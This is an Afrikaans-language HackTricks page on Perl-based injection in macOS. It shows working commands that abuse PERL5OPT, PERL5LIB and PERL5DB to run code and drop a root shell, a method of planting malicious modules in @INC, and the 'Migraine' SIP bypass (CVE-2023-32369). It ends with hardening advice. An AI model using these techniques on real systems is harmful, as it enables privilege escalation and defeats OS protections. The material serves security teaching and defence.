macOS Perl Applications Injection
Reading time: 6 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Via PERL5OPT
& PERL5LIB
omgewing veranderlike
Deur die omgewing veranderlike PERL5OPT
te gebruik, is dit moontlik om Perl te laat uitvoer van willekeurige opdragte wanneer die interpreter begin (selfs voor die eerste lyn van die teikenskrip geanaliseer word).
Byvoorbeeld, skep hierdie skrip:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Nou voer die omgewing veranderlike uit en voer die perl skrip uit:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
'n Ander opsie is om 'n Perl-module te skep (bv. /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
En gebruik dan die omgewingsveranderlikes sodat die module outomaties geleë en gelaai word:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
Ander interessante omgewing veranderlikes
PERL5DB
– wanneer die interpreter met die-d
(debugger) vlag begin word, word die inhoud vanPERL5DB
as Perl kode binne die debugger konteks uitgevoer. As jy beide die omgewing en die opdraglyn vlae van 'n bevoorregte Perl proses kan beïnvloed, kan jy iets soos die volgende doen:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # sal 'n shell laat val voordat die skrip uitgevoer word
PERL5SHELL
– op Windows beheer hierdie veranderlike watter shell uitvoerbare Perl sal gebruik wanneer dit 'n shell moet spawn. Dit word hier slegs genoem vir volledigheid, aangesien dit nie relevant is op macOS nie.
Alhoewel PERL5DB
die -d
skakel vereis, is dit algemeen om onderhouds- of installeerder skripte te vind wat as root uitgevoer word met hierdie vlag geaktiveer vir gedetailleerde probleemoplossing, wat die veranderlike 'n geldige eskalasie-vak kan maak.
Deur afhanklikhede (@INC misbruik)
Dit is moontlik om die insluitpad wat Perl sal soek (@INC
) te lys deur:
perl -e 'print join("\n", @INC)'
Tipiese uitvoer op macOS 13/14 lyk soos:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Sommige van die teruggegee vouers bestaan selfs nie, maar /Library/Perl/5.30
bestaan, is nie beskerm deur SIP nie en is voor die SIP-beskermde vouers. Daarom, as jy as root kan skryf, kan jy 'n kwaadwillige module (bv. File/Basename.pm
) laat val wat voorkeursgewys gelaai sal word deur enige bevoorregte skrip wat daardie module invoer.
warning
Jy het steeds root nodig om binne /Library/Perl
te skryf en macOS sal 'n TCC prompt wys wat vra vir Volledige Skyf Toegang vir die proses wat die skryfoperasie uitvoer.
Byvoorbeeld, as 'n skrip use File::Basename;
invoer, sal dit moontlik wees om /Library/Perl/5.30/File/Basename.pm
te skep wat aanvaller-beheerde kode bevat.
SIP omseiling via Migrasie Assistent (CVE-2023-32369 “Migraine”)
In Mei 2023 het Microsoft CVE-2023-32369 bekend gemaak, met die bynaam Migraine, 'n post-exploitatie tegniek wat 'n root aanvaller in staat stel om die Stelsels Integriteit Beskerming (SIP) heeltemal te omseil.
Die kwesbare komponent is systemmigrationd
, 'n daemon wat toegelaat word met com.apple.rootless.install.heritable
. Enige kindproses wat deur hierdie daemon gegenereer word, erf die toelae en loop dus buite SIP-beperkings.
Onder die kinders wat deur die navorsers geïdentifiseer is, is die Apple-onderteken interpreter:
/usr/bin/perl /usr/libexec/migrateLocalKDC …
Omdat Perl PERL5OPT
eerbiedig, en Bash BASH_ENV
eerbiedig, is dit genoeg om die daemon se omgewing te vergiftig om arbitrêre uitvoering in 'n SIP-loos konteks te verkry:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
Wanneer migrateLocalKDC
loop, begin /usr/bin/perl
met die kwaadwillige PERL5OPT
en voer /private/tmp/migraine.sh
uit voordat SIP heraktiveer word. Vanuit daardie skrip kan jy byvoorbeeld 'n payload binne /System/Library/LaunchDaemons
kopieer of die com.apple.rootless
uitgebreide attribuut toewys om 'n lêer onverwyderbaar te maak.
Apple het die probleem in macOS Ventura 13.4, Monterey 12.6.6 en Big Sur 11.7.7 reggestel, maar ouer of nie-gepatchte stelsels bly uitbuitbaar.
Versterking aanbevelings
- Verwyder gevaarlike veranderlikes – bevoorregte launchdaemons of cron jobs moet met 'n skoon omgewing begin (
launchctl unsetenv PERL5OPT
,env -i
, ens.). - Vermy om interpreters as root te laat loop tensy dit streng nodig is. Gebruik gecompileerde binaire of laat voorregte vroeg val.
- Verskaffer skripte met
-T
(taint mode) sodat PerlPERL5OPT
en ander onveilige skakels ignoreer wanneer taint kontrole geaktiveer is. - Hou macOS op datum – “Migraine” is volledig gepatch in huidige weergawes.
Verwysings
- Microsoft Security Blog – “Nuwe macOS kwesbaarheid, Migraine, kan Stelselintegriteitsbeskerming omseil” (CVE-2023-32369), 30 Mei 2023.
- Hackyboiz – “macOS SIP Omseiling (PERL5OPT & BASH_ENV) navorsing”, Mei 2025.
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.